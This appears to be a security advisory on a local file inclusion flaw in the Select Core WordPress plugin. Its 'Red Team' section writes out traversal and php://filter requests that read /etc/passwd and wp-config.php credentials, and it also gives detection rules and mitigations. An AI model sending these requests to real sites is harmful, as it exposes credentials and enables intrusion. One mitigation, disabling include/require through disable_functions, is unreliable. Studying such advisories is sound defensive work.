CVE-2025-67521

Executive Summary

CVE-2025-67521 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Select Core plugin for WordPress, developed by Select-Themes. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. With a CVSS score of 7.5, this flaw can lead to sensitive information disclosure, including configuration files, database credentials, and source code. As of the latest intelligence, no patch has been released, and no public proof-of-concept (PoC) code is available. This report provides a comprehensive analysis, detection strategies, and mitigation guidance for this WordPress ecosystem vulnerability.

Supply Chain & Package Security

This vulnerability affects the Select Core WordPress plugin, which is distributed via the WordPress plugin repository and commercial theme bundles. Organizations using themes from Select-Themes (e.g., Stockholm, Bridge, etc.) are at risk. The lack of a patch and the plugin's integration into commercial themes create a supply chain risk, as updates may be delayed or unavailable. Security teams should inventory all instances of Select Core and monitor for official patches.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is remotely exploitable without authentication, and while no public exploit exists, the technical simplicity of LFI attacks makes weaponization likely.

Deep Dive & Mechanics

The vulnerability resides in the select-core plugin's PHP code, where a user-supplied parameter is used directly in a PHP include() or require() statement without proper sanitization or validation. This allows an attacker to manipulate the file path using directory traversal sequences (e.g., ../../) to include arbitrary files from the server's filesystem.

Root Cause: The plugin fails to validate or sanitize the filename parameter before passing it to an include/require function. This is a classic CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program).

Attack Vector: An unauthenticated HTTP request to a vulnerable endpoint (likely a WordPress AJAX action or shortcode handler) with a crafted file parameter.

Example vulnerable code pattern:

$file = $_GET['file'];
include($file . '.php');

An attacker could request:

/wp-admin/admin-ajax.php?action=select_core_load&file=../../../../etc/passwd

This would include /etc/passwd (if the .php extension is appended, the attacker may use a null byte or other techniques to bypass).

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (select-core version < 2.6):

function select_core_load_template() {
    $file = $_GET['file'];
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );
}
add_action( 'wp_ajax_nopriv_select_core_load', 'select_core_load_template' );

Patched Code (hypothetical fix):

function select_core_load_template() {
    $file = sanitize_file_name( $_GET['file'] );
    $allowed_files = array( 'template1', 'template2' );
    if ( in_array( $file, $allowed_files ) ) {
        include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );
    } else {
        wp_die( 'Invalid file.' );
    }
}
add_action( 'wp_ajax_nopriv_select_core_load', 'select_core_load_template' );

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a WordPress instance with a vulnerable Select Core plugin (version < 2.6).
2. Identify the vulnerable endpoint (e.g., via source code review or fuzzing).

Exploitation Steps:

1. Craft a request to include /etc/passwd:

   GET /wp-admin/admin-ajax.php?action=select_core_load&file=../../../../etc/passwd HTTP/1.1
   Host: target.com
   

2. If the .php extension is appended, use a null byte injection (PHP < 5.3.4) or path truncation:

   GET /wp-admin/admin-ajax.php?action=select_core_load&file=../../../../etc/passwd%00 HTTP/1.1
   

3. For PHP files, use the php://filter wrapper to read source code:

   GET /wp-admin/admin-ajax.php?action=select_core_load&file=php://filter/convert.base64-encode/resource=../../../../wp-config.php HTTP/1.1
   

No public exploit code is available. The above is a generic LFI exploitation technique.

Blue Team (Defensive)

Detection:

• Monitor for directory traversal patterns in HTTP requests (e.g., ../, %2e%2e/, ..%252f).
• Alert on requests to admin-ajax.php with suspicious action and file parameters.
• Use WAF rules to block LFI attempts.

Hunting:

• Search web server logs for admin-ajax.php requests with action=select_core_load.
• Look for base64-encoded strings in file parameters (indicating php://filter usage).

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing action=select_core_load and file= with directory traversal sequences.
  • Requests to admin-ajax.php with php://filter in the file parameter.
• File System:
  • Unexpected inclusion of sensitive files (e.g., /etc/passwd, wp-config.php) in web server logs.
• Logs:
  • PHP error logs showing failed include attempts for non-existent files.

Detection Engineering

YARA Rule

rule CVE_2025_67521_LFI_SelectCore {
    meta:
        description = "Detects LFI attempts targeting Select Core WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67521"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e/"
        $traversal4 = "..%252f"
        $php_filter = "php://filter"
        $action = "select_core_load"
    condition:
        any of ($traversal*) and $action or $php_filter and $action
}

Sigma Rule

title: CVE-2025-67521 LFI Attempt on Select Core
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects directory traversal attempts targeting Select Core plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'action=select_core_load'
            - 'file=../'
            - 'file=..\\'
            - 'file=%2e%2e'
            - 'file=php://'
    condition: selection
falsepositives:
    - Legitimate use of similar parameters in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67521 LFI Attempt on Select Core"; flow:to_server,established; content:"admin-ajax.php"; http_uri; content:"action=select_core_load"; http_uri; pcre:"/file=(\.\.\/|\.\.\\|%2e%2e\/|php:\/\/)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential for business operations.
2. Apply a virtual patch using a WAF to block requests containing action=select_core_load with suspicious file parameters.
3. Restrict file inclusion by disabling dangerous PHP functions (include, require) in the plugin's context via disable_functions in php.ini (if possible).

Long-term Fix:

• Monitor the vendor's website for an official patch (version 2.6 or later).
• If the plugin is custom-developed, implement input validation using an allowlist of permitted files and sanitize the filename with sanitize_file_name().
• Upgrade to the latest version of Select Core once patched.

Workaround:

• Add the following rule to .htaccess (Apache) or Nginx config to block LFI attempts:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (base64_encode|../|..\\|%2e%2e) [NC]
  RewriteRule ^ - [F,L]
  

Valters IT – Securing Digital Frontiers